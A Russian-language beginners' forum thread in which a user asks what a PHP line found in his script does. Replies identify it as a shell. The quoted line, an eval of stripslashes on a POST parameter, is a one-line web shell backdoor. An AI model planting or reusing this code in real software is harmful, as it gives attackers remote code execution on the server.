Visavi.net
Светлая
Темная
обозначение функции
Forum
Обучение/Вопросы новичков
обозначение функции
Print
RSS
379
Владислав
01.04.2010 / 20:06
Author
Пацак
0
что обозначает данная функция if ( isset($_POST['1q2w']) ) eval(stripslashes($_POST['1q2w']));
А
Артур
01.04.2010 / 20:18
Оранжевые штаны
0
Там несколько функций.
Алгоритм:
1) Переменная задана?
1.1) Экранировать символы в переменной
1.2) Выполнить PHP код переменной
Владислав
01.04.2010 / 20:26
Author
Пацак
0
пасиб
Changed: Владислав (01.04.2010 / 20:29)
А
Артур
01.04.2010 / 20:29
Оранжевые штаны
0
Автор, это не вопрос к тебе, это описание алгоритма.
1 шаг) PHP проверяет задана ли переменная
Если да то:
1.1 шаг) Экронирует символы в переменной
1.2 шаг) Выполняет код
Если нет то:
ничего
Владислав
01.04.2010 / 20:39
Author
Пацак
0
просто я $_POST['1q2w'] нигде больше в скрипте не найду
Changed: Владислав (01.04.2010 / 20:39)
А
Артур
01.04.2010 / 20:41
Оранжевые штаны
0
Это внешняя переменная (в математике называется экзогенной переменной), она попадает сюды из другого скрипта или со страницы
ramzes
01.04.2010 / 20:43
2000 лет д.н.э.
0
Это похоже на шелл гг)) зачем евалом код переменной обрабатывать. Тем более больше ни где переменной нет.
A
Alex
01.04.2010 / 20:45
Пришелец
0
эт и есть шелл
Владислав
01.04.2010 / 22:18
Author
Пацак
0
и как же им воспользоваться?
A
Azzido
02.04.2010 / 06:52
Оранжевые штаны
0
http://www.php.su/functions/?eval
1
2
3
You must be logged in to perform actions!
Stickers
/
Tags
/
Rules
/
Top topics
/
Top Posts
/
Search